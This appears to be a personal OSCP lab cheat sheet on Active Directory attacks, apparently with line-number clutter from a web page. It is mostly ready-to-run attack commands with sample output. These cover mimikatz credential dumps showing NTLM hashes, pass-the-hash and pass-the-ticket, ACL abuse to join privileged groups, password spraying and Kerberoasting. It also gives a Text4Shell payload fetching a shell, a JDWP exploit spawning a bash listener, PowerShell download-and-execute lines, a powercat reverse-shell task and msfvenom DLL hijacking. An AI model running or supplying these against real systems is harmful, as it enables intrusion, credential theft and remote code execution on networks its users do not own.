distinguishedname : CN=Administrator,CN=Users,DC=corp,DC=com
objectclass : {top, person, organizationalPerson, user}
lastlogontimestamp : 9/13/2022 1:03:47 AM
name : Administrator
objectsid : S-1-5-21-1987370270-658905905-1781884369-500
samaccountname : Administrator
admincount : 1
codepage : 0
samaccounttype : USER_OBJECT
accountexpires : NEVER
cn : Administrator
whenchanged : 9/13/2022 8:03:47 AM
instancetype : 4
usncreated : 8196
objectguid : e5591000-080d-44c4-89c8-b06574a14d85
lastlogoff : 12/31/1600 4:00:00 PM
objectcategory : CN=Person,CN=Schema,CN=Configuration,DC=corp,DC=com
dscorepropagationdata : {9/2/2022 11:25:58 PM, 9/2/2022 11:25:58 PM, 9/2/2022 11:10:49 PM, 1/1/1601 6:12:16 PM}
memberof : {CN=Group Policy Creator Owners,CN=Users,DC=corp,DC=com, CN=Domain Admins,CN=Users,DC=corp,DC=com, CN=Enterprise
 Admins,CN=Users,DC=corp,DC=com, CN=Schema Admins,CN=Users,DC=corp,DC=com...}
lastlogon : 9/14/2022 2:37:15 AM
...

# The output shows that cn stores usernames; pipe the output to select and choose cn
PS C:\Tools> Get-NetUser | select cn

cn
--
Administrator
Guest
krbtgt
dave
stephanie
jeff
jeffadmin
iis_service
pete
jen

# Retrieve other attributes
Get-NetUser | select cn,pwdlastset,lastlogon

# Similarly, use Get-NetGroup to enumerate groups
PS C:\Tools> Get-NetGroup | select cn

cn
--
...
Key Admins
Enterprise Key Admins
DnsAdmins
DnsUpdateProxy
Sales Department
Management Department
Development Department
Debug

# Use Get-NetGroup to inspect the Sales Department and pipe the output to select member
PS C:\Tools> Get-NetGroup "Sales Department" | select member

member
------
{CN=Development Department,DC=corp,DC=com, CN=pete,CN=Users,DC=corp,DC=com, CN=stephanie,CN=Users,DC=corp,DC=com}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31


# Obtain more information

# Use the PowerView Get-NetComputer command to enumerate computer objects in the domain
Get-NetComputer

# Filter to obtain hostnames and OS versions for all domain hosts
Get-NetComputer | select operatingsystem,dnshostname

# Run as stephanie (important in real engagements)
PS C:\> Find-LocalAdminAccess

# What happens internally:
# 1. Try connecting to machine A's SCM -> failed (insufficient permissions)
# 2. Try connecting to machine B's SCM -> failed (insufficient permissions)
# 3. Try connecting to client74's SCM -> success! (stephanie is a local administrator on client74)
# 4. Continue trying other machines...

# Final output
client74.corp.com # Indicates administrator privileges on this machine

# Find logged-on users on domain hosts; this requires substantial privileges
# Normally, insufficient permissions mean the current user must access the target as an administrator
# Alternatively, access to the SrvsvcSessionInfo registry entry on the target is required
PS C:\Tools> Get-NetSession -ComputerName files04 -Verbose
VERBOSE: [Get-NetSession] Error: Access is denied

PS C:\Tools> Get-NetSession -ComputerName web04 -Verbose
VERBOSE: [Get-NetSession] Error: Access is denied

# The result above shows administrator privileges on client74, so inspect client74
Get-NetSession -ComputerName client74

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


# The method above normally requires more privileges; the following method does not
https://learn.microsoft.com/en-us/sysinternals/downloads/pstools provides the suite from the official site
# It queries through the Remote Registry service
.\PsLoggedon.exe \\files04
PsLoggedon v1.35 - See who's logged on
Copyright (C) 2000-2016 Mark Russinovich
Sysinternals - www.sysinternals.com

Users logged on locally:
 <unknown time> CORP\jeff
Unable to query resource logons

# When a different user is logged on and administrator access is available
# The main action is to analyze LSASS

1
2
3
4
5
6
7


# Enumerate SPNs in the domain
setspn -L iis_service

# Import PowerView
# Gather information about service accounts
Get-NetUser -SPN | select samaccountname,serviceprincipalname
nslookup.exe web04.corp.com

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160


# Enumerate object permissions in the domain
# Reference permission list
GenericAll: Full permissions on object
GenericWrite: Edit certain attributes on the object
WriteOwner: Change ownership of the object
WriteDACL: Edit ACE's applied to object
AllExtendedRights: Change password, reset password, etc.
ForceChangePassword: Password change for object
Self (Self-Membership): Add ourselves to for example a group

GenericAll (Full Control):
Highest permission level
Provides full control over the object
Allows any operation: modify attributes, reset passwords, add to groups, and more
Example: GenericAll over a user allows direct password reset

GenericWrite (Write Permission):
Allows modification of most object attributes
Does not allow modification of sensitive attributes such as passwords
Example: modify a user's scriptPath attribute to achieve code execution

WriteOwner (Change Owner):
Allows changing the object's owner
Changing ownership to yourself can lead to full control
Example: become the owner of a group and then control it

WriteDACL (Modify Access Control):
Allows modification of the object's access-control list
Allows permissions to be added or removed
Example: grant yourself GenericAll

AllExtendedRights (Extended Rights):
Includes special operations such as password resets
Does not include ordinary attribute-modification permissions
Example: reset a user's password

ForceChangePassword (Force Password Change):
A permission specifically for changing passwords
Does not require the original password
Example: directly reset the target user's password

Self (Self-Membership):
Allows adding yourself to a group
Only yourself can be added
Example: add yourself to a privileged group

# Official reference
# https://learn.microsoft.com/en-us/windows/win32/secauthz/access-rights-and-access-masks

Simple usage methods
Using GenericAll:
powershellCopy# If GenericAll is held over user UserA
net user UserA NewPass123! /domain # Change the password directly

Using GenericWrite:
powershellCopy# Modify the user's script path to achieve code execution
Set-ADUser -Identity UserA -ScriptPath "\\attacker\share\evil.ps1"

Using WriteOwner:
powershellCopy# First, change the owner to yourself
Set-DomainObjectOwner -Identity "Domain Admins" -OwnerIdentity YourAccount
# Further operations are then possible

Using WriteDACL:
powershellCopy# Grant yourself full permissions
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -Rights All

Using ForceChangePassword:
powershellCopy# Change the password directly
Set-DomainUserPassword -Identity targetuser -AccountPassword (ConvertTo-SecureString 'Password123!' -AsPlainText -Force)
Using Self (Self-Membership):

powershellCopy# Add yourself to the group
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'YourAccount'

# The above covers usage; below, query information and use the results for privilege escalation
# View which ACEs apply to the current user
PS C:\Tools> Get-ObjectAcl -Identity stephanie

...
ObjectDN : CN=stephanie,CN=Users,DC=corp,DC=com
ObjectSID : S-1-5-21-1987370270-658905905-1781884369-1104
ActiveDirectoryRights : ReadProperty
ObjectAceFlags : ObjectAceTypePresent
ObjectAceType : 4c164200-20c0-11d0-a768-00aa006e0529
InheritedObjectAceType : 00000000-0000-0000-0000-000000000000
BinaryLength : 56
AceQualifier : AccessAllowed
IsCallback : False
OpaqueLength : 0
AccessMask : 16
SecurityIdentifier : S-1-5-21-1987370270-658905905-1781884369-553
AceType : AccessAllowedObject
AceFlags : None
IsInherited : False
InheritanceFlags : None
PropagationFlags : None
AuditFlags : None

# In this example, the current SID is S-1-5-21-1987370270-658905905-1781884369-1104
# S-1-5-21-1987370270-658905905-1781884369-553 grants us ReadProperty permission
# Next, identify the owner of this SID
PS C:\Tools> Convert-SidToName S-1-5-21-1987370270-658905905-1781884369-1104
CORP\stephanie
# This shows which permissions SecurityIdentifier has over ObjectSID

# The example below queries who has full control over the "Management Department" group
PS C:\Tools> Get-ObjectAcl -Identity "Management Department" | ? {$_.ActiveDirectoryRights -eq "GenericAll"} | select SecurityIdentifier,ActiveDirectoryRights

SecurityIdentifier ActiveDirectoryRights
------------------ ---------------------
S-1-5-21-1987370270-658905905-1781884369-512 GenericAll
S-1-5-21-1987370270-658905905-1781884369-1104 GenericAll
S-1-5-32-548 GenericAll
S-1-5-18 GenericAll
S-1-5-21-1987370270-658905905-1781884369-519 GenericAll

PS C:\Tools> "S-1-5-21-1987370270-658905905-1781884369-512","S-1-5-21-1987370270-658905905-1781884369-1104","S-1-5-32-548","S-1-5-18","S-1-5-21-1987370270-658905905-1781884369-519" | Convert-SidToName
CORP\Domain Admins
CORP\stephanie
BUILTIN\Account Operators
Local System
CORP\Enterprise Admins

# The output above shows that stephanie, the current user, has full control over this group
# This allows adding yourself or another user to the group and using the group's permissions
PS C:\Tools> net group "Management Department" stephanie /add /domain
The request will be processed at a domain controller for domain corp.com.

The command completed successfully.
# The current user was added above; query permissions to confirm membership
PS C:\Tools> Get-NetGroup "Management Department" | select member

member
------
{CN=jen,CN=Users,DC=corp,DC=com, CN=stephanie,CN=Users,DC=corp,DC=com}

PS C:\Tools> net group "Management Department" stephanie /del /domain
The request will be processed at a domain controller for domain corp.com.

The command completed successfully.

# View group permissions
Get-ObjectAcl -Identity "Management Department"

# Verify these items, then remove them
PS C:\Tools> Get-NetGroup "Management Department" | select member
member
------
CN=jen,CN=Users,DC=corp,DC=com

PS C:\Tools> net group "Management Department" stephanie /del /domain
The request will be processed at a domain controller for domain corp.com.
The command completed successfully.

Use PowerView again to verify that jen is the group's only member:
PS C:\Tools> Get-NetGroup "Management Department" | select member
member
------
CN=jen,CN=Users,DC=corp,DC=com

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38


Import PowerView again

PS C:\Tools> Find-DomainShare

Name Type Remark ComputerName
---- ---- ------ ------------
ADMIN$ 2147483648 Remote Admin DC1.corp.com
C$ 2147483648 Default share DC1.corp.com
IPC$ 2147483651 Remote IPC DC1.corp.com
NETLOGON 0 Logon server share DC1.corp.com
SYSVOL 0 Logon server share DC1.corp.com
ADMIN$ 2147483648 Remote Admin web04.corp.com
backup 0 web04.corp.com
C$ 2147483648 Default share web04.corp.com
IPC$ 2147483651 Remote IPC web04.corp.com
ADMIN$ 2147483648 Remote Admin FILES04.corp.com
C 0 FILES04.corp.com
C$ 2147483648 Default share FILES04.corp.com
docshare 0 Documentation purposes FILES04.corp.com
IPC$ 2147483651 Remote IPC FILES04.corp.com
Tools 0 FILES04.corp.com
Users 0 FILES04.corp.com
Windows 0 FILES04.corp.com
ADMIN$ 2147483648 Remote Admin client74.corp.com
C$ 2147483648 Default share client74.corp.com
IPC$ 2147483651 Remote IPC client74.corp.com
ADMIN$ 2147483648 Remote Admin client75.corp.com
C$ 2147483648 Default share client75.corp.com
IPC$ 2147483651 Remote IPC client75.corp.com
sharing 0 client75.corp.com

This shows many accessible SMB directories, but does not indicate read or write access
# Then perform the classic SYSVOL XML-file check
# This provides a convenient one-line command without the usual extra steps
gpp-decrypt "+bsY0V3d4/KgX3VJdO/vyepPfAN1zMFTiQDApgR92JE"

# Next, inspect shares for non-default content, for example
docshare

1
2
3
4


C:\Tools\Spray-Passwords.ps1
# It identifies domain users automatically and supports a single password or wordlist for brute forcing
.\Spray-Passwords.ps1 -Pass Nexus123! -Admin
.\Spray-Passwords.ps1 -File 1.txt -Admin

89.Rubeus

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


# This failed every time in the OSCP lab, but it is still useful enough to note
# Transfer it to the target machine
# Perform AS-REP Roasting in one step, then use hashcat
.\Rubeus.exe asreproast /nowrap

# Find service-account tickets in one step, similar to GetUserSPNs
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast

# Check the target service's SPN when generating a ticket
setspn -L username

90.Lateral Movement in AD (Some Great Ideas from OSCP)

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104


mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::logonpasswords

...
Authentication Id : 0 ; 1142030 (00000000:00116d0e)
Session : Interactive from 0
User Name : jen
Domain : CORP
Logon Server : DC1
Logon Time : 2/27/2023 7:43:20 AM
SID : S-1-5-21-1987370270-658905905-1781884369-1124
 msv :
 [00000003] Primary
 * Username : jen
 * Domain : CORP
 * NTLM : 369def79d8372408bf6e93364cc93075
 * SHA1 : faf35992ad0df4fc418af543e5f4cb08210830d4
 * DPAPI : ed6686fedb60840cd49b5286a7c08fa4
 tspkg :
 wdigest :
 * Username : jen
 * Domain : CORP
 * Password : (null)
 kerberos :
 * Username : jen
 * Domain : CORP.COM
 * Password : (null)
 ssp :
 credman :
...

mimikatz # sekurlsa::pth /user:jen /domain:corp.com /ntlm:369def79d8372408bf6e93364cc93075 /run:powershell
user : jen
domain : corp.com
program : powershell
impers. : no
NTLM : 369def79d8372408bf6e93364cc93075
 | PID 8716
 | TID 8348
 | LSA Process is now R/W
 | LUID 0 ; 16534348 (00000000:00fc4b4c)
 \_ msv1_0 - data copy @ 000001F3D5C69330 : OK !
 \_ kerberos - data copy @ 000001F3D5D366C8
 \_ des_cbc_md4 -> null
 \_ des_cbc_md4 OK
 \_ des_cbc_md4 OK
 \_ des_cbc_md4 OK
 \_ des_cbc_md4 OK
 \_ des_cbc_md4 OK
 \_ des_cbc_md4 OK
 \_ *Password replace @ 000001F3D5C63B68 (32) -> null

PS C:\Windows\system32> klist
Current LogonId is 0:0x1583ae

Cached Tickets: (0)

The operations above open a new shell with PTH but create no tickets
# The operation below generates krbtgt and cifs tickets, obtaining a Kerberos ticket through HTLM
net use \\files04

PS C:\Windows\system32> klist
Current LogonId is 0:0x17239e
Cached Tickets: (2)
#0> Client: jen @ CORP.COM
 Server: krbtgt/CORP.COM @ CORP.COM
 KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
 Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
 Start Time: 2/27/2023 5:27:28 (local)
 End Time: 2/27/2023 15:27:28 (local)
 Renew Time: 3/6/2023 5:27:28 (local)
 Session Key Type: RSADSI RC4-HMAC(NT)
 Cache Flags: 0x1 -> PRIMARY
 Kdc Called: DC1.corp.com

#1> Client: jen @ CORP.COM
 Server: cifs/files04 @ CORP.COM
 KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
 Ticket Flags 0x40a10000 -> forwardable renewable pre_authent name_canonicalize
 Start Time: 2/27/2023 5:27:28 (local)
 End Time: 2/27/2023 15:27:28 (local)
 Renew Time: 3/6/2023 5:27:28 (local)
 Session Key Type: AES-256-CTS-HMAC-SHA1-96
 Cache Flags: 0
 Kdc Called: DC1.corp.com

# With a cifs ticket, PTH can be performed directly as shown below
# This may be more covert because it converts the HTLM hash into a Kerberos TGT
PS C:\Windows\system32> cd C:\tools\SysinternalsSuite\
PS C:\tools\SysinternalsSuite> .\PsExec.exe \\files04 cmd

PsExec v2.4 - Execute processes remotely
Copyright (C) 2001-2022 Mark Russinovich
Sysinternals - www.sysinternals.com

Microsoft Windows [Version 10.0.20348.169]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
corp\jen

C:\Windows\system32>hostname
FILES04

Passing Tickets

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85


This was covered earlier but is noted again here

PS C:\Windows\system32> whoami
corp\jen
PS C:\Windows\system32> ls \\web04\backup
ls : Access to the path '\\web04\backup' is denied.
At line:1 char:1
+ ls \\web04\backup
+ ~~~~~~~~~~~~~~~~~
 + CategoryInfo : PermissionDenied: (\\web04\backup:String) [Get-ChildItem], UnauthorizedAccessException
 + FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand

mimikatz #privilege::debug
Privilege '20' OK
mimikatz #sekurlsa::tickets /export

Authentication Id : 0 ; 2037286 (00000000:001f1626)
Session : Batch from 0
User Name : dave
Domain : CORP
Logon Server : DC1
Logon Time : 9/14/2022 6:24:17 AM
SID : S-1-5-21-1987370270-658905905-1781884369-1103

 * Username : dave
 * Domain : CORP.COM
 * Password : (null)

 Group 0 - Ticket Granting Service

 Group 1 - Client Ticket ?

 Group 2 - Ticket Granting Ticket
 [00000000]
 Start/End/MaxRenew: 9/14/2022 6:24:17 AM ; 9/14/2022 4:24:17 PM ; 9/21/2022 6:24:17 AM
 Service Name (02) : krbtgt ; CORP.COM ; @ CORP.COM
 Target Name (02) : krbtgt ; CORP ; @ CORP.COM
 Client Name (01) : dave ; @ CORP.COM ( CORP )
 Flags 40c10000 : name_canonicalize ; initial ; renewable ; forwardable ;
 Session Key : 0x00000012 - aes256_hmac
 f0259e075fa30e8476836936647cdabc719fe245ba29d4b60528f04196745fe6
 Ticket : 0x00000012 - aes256_hmac ; kvno = 2 [...]
 * Saved to file [0;1f1626]-2-0-40c10000-dave@krbtgt-CORP.COM.kirbi !
...

PS C:\Tools> dir *.kirbi
 Directory: C:\Tools
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 9/14/2022 6:24 AM 1561 [0;12bd0]-0-0-40810000-dave@cifs-web04.kirbi
-a---- 9/14/2022 6:24 AM 1505 [0;12bd0]-2-0-40c10000-dave@krbtgt-CORP.COM.kirbi
-a---- 9/14/2022 6:24 AM 1561 [0;1c6860]-0-0-40810000-dave@cifs-web04.kirbi
-a---- 9/14/2022 6:24 AM 1505 [0;1c6860]-2-0-40c10000-dave@krbtgt-CORP.COM.kirbi
-a---- 9/14/2022 6:24 AM 1561 [0;1c7bcc]-0-0-40810000-dave@cifs-web04.kirbi
-a---- 9/14/2022 6:24 AM 1505 [0;1c7bcc]-2-0-40c10000-dave@krbtgt-CORP.COM.kirbi
-a---- 9/14/2022 6:24 AM 1561 [0;1c933d]-0-0-40810000-dave@cifs-web04.kirbi
-a---- 9/14/2022 6:24 AM 1505 [0;1c933d]-2-0-40c10000-dave@krbtgt-CORP.COM.kirbi
-a---- 9/14/2022 6:24 AM 1561 [0;1ca6c2]-0-0-40810000-dave@cifs-web04.kirbi
-a---- 9/14/2022 6:24 AM 1505 [0;1ca6c2]-2-0-40c10000-dave@krbtgt-CORP.COM.kirbi
...

mimikatz # kerberos::ptt [0;12bd0]-0-0-40810000-dave@cifs-web04.kirbi
* File: '[0;12bd0]-0-0-40810000-dave@cifs-web04.kirbi': OK

PS C:\Tools> klist
Current LogonId is 0:0x13bca7
Cached Tickets: (1)
#0> Client: dave @ CORP.COM
 Server: cifs/web04 @ CORP.COM
 KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
 Ticket Flags 0x40810000 -> forwardable renewable name_canonicalize
 Start Time: 9/14/2022 5:31:32 (local)
 End Time: 9/14/2022 15:31:13 (local)
 Renew Time: 9/21/2022 5:31:13 (local)
 Session Key Type: AES-256-CTS-HMAC-SHA1-96
 Cache Flags: 0
 Kdc Called:

PS C:\Tools> ls \\web04\backup
 Directory: \\web04\backup
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 9/13/2022 2:52 AM 0 backup_schemata.txt

# Export the in-memory ticket and then import it

91.FTP Active Mode

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40


Switch to active mode with:
quote pasv
Or force active mode with -A before connecting:
ftp -A 192.168.172.145

Disable passive mode with the passive command:
ftp> passive
Passive mode: off

If that still fails, set an environment variable before connecting:
Copyexport FTP_PASSIVE=0
ftp 192.168.172.145

Use another FTP client such as lftp, which offers clearer active/passive mode controls:
lftp -u anonymous 192.168.172.145
lftp> set ftp:passive-mode off

Use ls -la or ls -l to view a detailed listing:
ftp> ls -la

Try switching to binary mode before listing the directory:
ftp> binary
ftp> dir

Use quote LIST to send the raw FTP command directly:
ftp> quote LIST

Try using mls to save the directory listing to a local file:
ftp> mls - listing.txt

Try accessing common default directories on Windows FTP servers:
ftp> cd pub
Or
ftp> cd upload

If the exact filename is known, try retrieving it directly:
ftp> get filename.txt

You can also try switching to the parent directory:
ftp> cdup

92.SSH Tunneling

1
2
3
4
5
6
7
8


ssh -R 443:192.168.45.184:443 -R 80:192.168.45.184:80 web_svc@192.168.139.147

# -L forwards a target-machine port locally; -R forwards a local port to a port opened on the target machine
ssh -L 443:192.168.45.184:443 -L 80:192.168.45.184:80 web_svc@192.168.139.147

# Build a tunnel to carry traffic
ssh -D 1080 -N Administrator@192.168.125.153
Use proxychains on local port 1080

93.snmpwalk

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


snmpwalk -v1 -c public IP

snmpwalk -v2c -c public 192.168.139.149 NET-SNMP-EXTEND-MIB::nsExtendObjects
snmpwalk -v 2c -c public 192.168.139.149 NET-SNMP-EXTEND-MIB::nsExtendOutputFull

# The command above queries command names, for example
# RESET is the command
NET-SNMP-EXTEND-MIB::nsExtendCommand."RESET" = STRING: ./home/john/RESET_PASSWD

snmpwalk -v1 -c public IP NET-SNMP-EXTEND-MIB::nsExtendOutputFull.\"COMMAND_NAME\"

# Common extended-MIB queries
snmpwalk -v1 -c public IP NET-SNMP-EXTEND-MIB::nsExtendObjects
snmpwalk -v1 -c public IP NET-SNMP-EXTEND-MIB::nsExtendConfigTable
snmpwalk -v1 -c public IP NET-SNMP-EXTEND-MIB::nsExtendOutput1Table
snmpwalk -v1 -c public IP NET-SNMP-EXTEND-MIB::nsExtendOutput2Table

94.CVE-2022–42889 (Text4Shell)

https://meyerweb.com/eric/tools/dencoder/ # URL encoding website

1
2


${script:javascript:java.lang.Runtime.getRuntime().exec('command')}
%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime().exec(%27wget%20192.168.45.184%2Fcmdjsp.jsp%20-O%20%2Ftmp%2Fshell%27)%7D

95.Java Debug Wire Protocol (JDWP) - Remote Code Execution

https://www.exploit-db.com/exploits/46501

https://github.com/IOActive/jdwp-shellifier/

1
2
3
4


$ python ./jdwp-shellifier.py -t my.target.ip -p 1234 --cmd "ncat -v -l -p 1234 -e /bin/bash"

Most importantly, trigger the accept() event. If Java listens on a port, connect to it actively with nc.
This is integrated into the CMD exploit, but the port still requires attention.

96.Windows Local Privilege Escalation (Use This for a More Thorough Check)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


# Download PowerUp
wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1

# On the target machine
powershell -ep bypass
. .\PowerUp.ps1
Get-ModifiableServiceFile

# Or perform a comprehensive check
Invoke-AllChecks

Invoke-AllChecks checks all potential service privilege-escalation vectors, including:
Modifiable service executables
Unquoted service paths
Misconfigured service permissions, and more

This avoids manually searching for escalation vectors such as modifiable service executables

97.chisel

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33


# This proxy is less convenient than ligolo-ng, but has a feature ligolo-ng lacks
# It can forward local ports, while ligolo-ng cannot expose local services
# I normally use frp, but tools such as ftp, lcx, and ew do not work in OSCP labs
# The reason is unclear, and chisel sometimes also fails in OSCP labs
# Chisel also failed to expose local ports; only an SSH tunnel worked
# It is still worth noting because local-port forwarding is important

# Start the server
./chisel server -p 8000 --reverse
# Reverse port forwarding (forward target port 1433 to the attacker machine)
chisel.exe client ATTACKER_IP:8000 R:1433:127.0.0.1:1433

# Attacker machine
./chisel server -p 8000 --reverse
# Target machine
chisel.exe client ATTACKER_IP:8000 R:ATTACKER_PORT:127.0.0.1:TARGET_PORT

# The above exposes a target-local port; below, a Kali port is forwarded to Windows
# Use this with a ligolo-ng tunnel when an internal host cannot reach Kali and may access only internal resources
# Kali attacker machine
./chisel server -p 8000 --reverse
# Target machine
chisel.exe client KALI_IP:8000 R:80:KALI_IP:80

Forward a target-machine port to Kali:
bashCopychisel.exe client KALI:8000 R:1433:127.0.0.1:1433
 ↑
 Points to the target machine locally

Forward a Kali port to the target machine:
bashCopychisel.exe client KALI:8000 R:80:KALI_IP:80
 ↑
 Points to Kali

98.Extracting Archives from the Windows Command Line

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


Use the built-in expand command:
expand .\nmap.zip -F:* C:\programdata\test

Use PowerShell:
Expand-Archive -Path c:\source\archive.zip -DestinationPath c:\destination

If the destination directory exists, add -Force:
powershellCopyExpand-Archive -Path .\nmap.zip -DestinationPath C:\programdata\test -Force

Use tar (Windows 10 or later):
tar -xf nmap.zip

# Extract
Expand-Archive nmap.zip

99.Unconventional Ideas

1
2
3
4
5
6


# Quick scan
nmap -Pn -n 192.168.207.187 -sC -sV -p- --open
# Remember what can be uploaded through file-upload functionality
echo "AddType application/x-httpd-php .dork" > .htaccess
# Available when a service account has lost all permissions
https://itm4n.github.io/localservice-privileges/?source=post_page

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


# Configure the required privilege list
$Privs = @(
 "SeAssignPrimaryTokenPrivilege",
 "SeAuditPrivilege",
 "SeChangeNotifyPrivilege",
 "SeCreateGlobalPrivilege",
 "SeImpersonatePrivilege",
 "SeIncreaseQuotaPrivilege",
 "SeShutdownPrivilege",
 "SeUndockPrivilege",
 "SeIncreaseWorkingSetPrivilege",
 "SeTimeZonePrivilege"
)
# Create the task principal
$TaskPrincipal = New-ScheduledTaskPrincipal -UserId "LOCALSERVICE" -LogonType ServiceAccount -RequiredPrivilege $Privs
# Create the command to execute (reverse-shell example)
$TaskAction = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-ep Bypass -Command `". C:\path\to\shell.ps1; powercat -l -p 7003 -ep`""
# Register and start the task
Register-ScheduledTask -Action $TaskAction -TaskName "PrivEsc" -Principal $TaskPrincipal
Start-ScheduledTask -TaskName "PrivEsc"

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


# On a domain host, remember to use PowerShell scripts to find SPNs and other information locally
https://github.com/compwiz32/PowerShell/blob/master/Get-SPN.ps1
## 1. Import the script
Import-Module .\Get-SPN.ps1
# 2. Find SPNs
Get-SPN -type service
# 3. Request tickets
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/DC.access.offsec"
# 4. Export tickets
Invoke-Mimikatz -Command '"kerberos::list /export"'
# Or export with a PowerShell command
klist.exe purge
klist.exe tgt
# 5. Crack with hashcat
hashcat -m 13100 ticket.kirbi wordlist.txt

1
2
3
4


# Use domain-user permissions to request a TGS for any SPN, mainly when no credentials are available on a domain controller or member host
powershell iwr http://192.168.45.154/Invoke-Kerberoast.ps1 -outfile Invoke-Kerberoast.ps1
.\Invoke-Kerberoast.ps1
Invoke-Kerberoast -OutputFormat HashCat|Out-File -Encoding ASCII hash.txt

1
2
3
4
5
6
7
8
9


# A lateral-movement tool for direct login with domain credentials
https://github.com/antonioCoco/RunasCs/blob/master/Invoke-RunasCs.ps1
Invoke-RunasCs -Username svc_mssql -Password trustno1 -Command "whoami"
Invoke-RunasCs -Username user -Password pass -Command "powershell IEX(New-Object Net.WebClient).DownloadString('http://x.x.x.x/shell.ps1')"

# Enter-PSSession is built in and also works
$SecPassword = ConvertTo-SecureString 'Password123' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('domain\user', $SecPassword)
Enter-PSSession -ComputerName target -Credential $Cred

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


whoami /priv
# The output above shows privileges, including disabled ones that may be enabled
# Enable privileges
$TokenPriv = Get-TokenPrivilege
Enable-TokenPrivilege -TokenPrivilege $TokenPriv -Privilege SeManageVolumePrivilege
# Verify that they are enabled
whoami /priv

# The automated method below can enable all of them directly
https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.html
.\EnableAllTokenPrivs.ps1
whoami /priv

Token reference
https://github.com/gtworek/Priv2Admin

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


SeMachineAccountPrivilege and SeManageVolumePrivilege are covered in this section
https://medium.com/@Dpsypher/proving-grounds-practice-access-b95d3146cfe9
https://github.com/CsEnox/SeManageVolumeExploit/releases/tag/public
# 1. Enable the privilege
Enable-TokenPrivilege -Privilege SeManageVolumePrivilege
# 2. Modify C: drive permissions to gain write access
.\SeManageVolumeExploit.exe
# 3. DLL hijacking
# - systeminfo loads tzres.dll
# - Write a malicious tzres.dll to C:\windows\system32\wbem
# - Generate a DLL reverse shell:
msfvenom -p windows/x64/shell_reverse_tcp [...] -f dll -o tzres.dll
# 4. Run systeminfo to trigger DLL loading and obtain SYSTEM privileges
tzres.dll is a system component loaded when systeminfo runs

1
2
3
4
5
6


# 1. If a service account ends with $ and the note mentions gMSA, it is a managed service account
# 2. Use GMSAPasswordReader to read the hash
.\gmsapasswordreader.exe --accountname svc_apache
.\\gmsapasswordreader.exe --accountname svc_apache
# 3. Obtain the rc4_hmac hash for login
evil-winrm -i IP -u svc_apache$ -H 526C435B8E4CF11F447D6EF7152665BB

1
2
3
4
5
6
7
8


